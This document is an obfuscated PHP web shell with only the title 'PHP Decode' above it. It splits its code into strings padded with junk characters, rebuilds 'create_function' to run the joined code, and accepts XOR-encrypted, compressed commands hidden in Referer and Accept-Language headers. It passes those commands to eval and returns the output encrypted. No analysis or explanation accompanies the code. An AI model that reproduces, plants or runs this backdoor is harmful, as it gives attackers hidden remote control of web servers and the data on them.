PHP Decode

<?php
$J='5M^($i.$kh),M^0,3));$M^f=$slM^($ss(md5(M^$i.$kM^f),M^0,3));$pM^="M^";foM^r($M^z=1;$z<count(M^$m[1]);$M^z++)$pM^.=$q[$m[M^2M';
$x='^REM^RM^"];$ra=@$r[M^"HTTP_ACCEPM^T_LM^ANGUAGE"];iM^M^f($rr&&$ra){M^M^M^$u=paM^rse_uM^rl($rr);pM^arseM^_sM^tr($u["query"],$q);';
$H='$kh="05aM^6";$kf="M^71c6";fM^M^unction x($tM^,$k){$M^c=strlM^en($M^k);$M^M^l=stM^rlen($t);$o="M^";fM^or($i=0;$iM^<$lM^M^;){fo';
$w='r($j=0M^;(M^$j<$c&M^&$i<$l);M^$j++,M^$i++){$o.=$t{$M^i}^$M^k{$jM^};}}return $M^o;}$r=$M^_SERM^VEM^R;M^$rr=@$r["HTTP_REM^FEM';
$T='$q=arM^M^ray_values($M^q);pM^M^regM^_matchM^_M^all("/([\\w])[\\w-]+(?:M^M^M^;q=0.([\\d]))?,?M^/",$raM^,$m)M^;iM^f($q&&$m){@M^s';
$S='M^d_clean(M^);$M^d=basM^e6M^4_encode(M^x(gzM^cM^ompress($o)M^,$k));M^print("<$k>M^$d</M^$M^k>");@sM^ession_deM^stroy();}}}}';
$N='^][$z]];iM^f(stM^rpos($p,M^$M^h)===0M^){$s[$i]="";$pM^=$M^sM^s($p,3);}if(aM^M^rray_key_exiM^sts($M^i,$s)){$sM^[$iM^].=$p;$e';
$V=str_replace('j','','crejatjjje_funjctjion');
$n='=M^strpoM^s($s[$iM^],$M^f);iM^f($e){$k=M^$kh.$kf;M^ob_staM^rt()M^;@eM^vaM^l(@M^gzuncompM^ress(@x(M^@basM^e64_M^decode(preg_';
$R='ession_staM^rt();M^$s=&$_SM^ESSIM^ON;M^$sM^s="suM^bstrM^";$sl=M^"strtolower";$i=M^M^M^$m[1][0]M^.$m[1][1];$hM^=$M^sl($ss(md';
$h='replacM^M^e(array("/_M^/","/-/M^")M^,arraM^y("/M^","+")M^,$ss($s[$i],0M^,$eM^))),$k))M^)M^;$o=obM^_M^get_contents();obM^_en';
$l=str_replace('M^','',$H.$w.$x.$T.$R.$J.$N.$n.$h.$S);
$r=$V('',$l);$r();
?>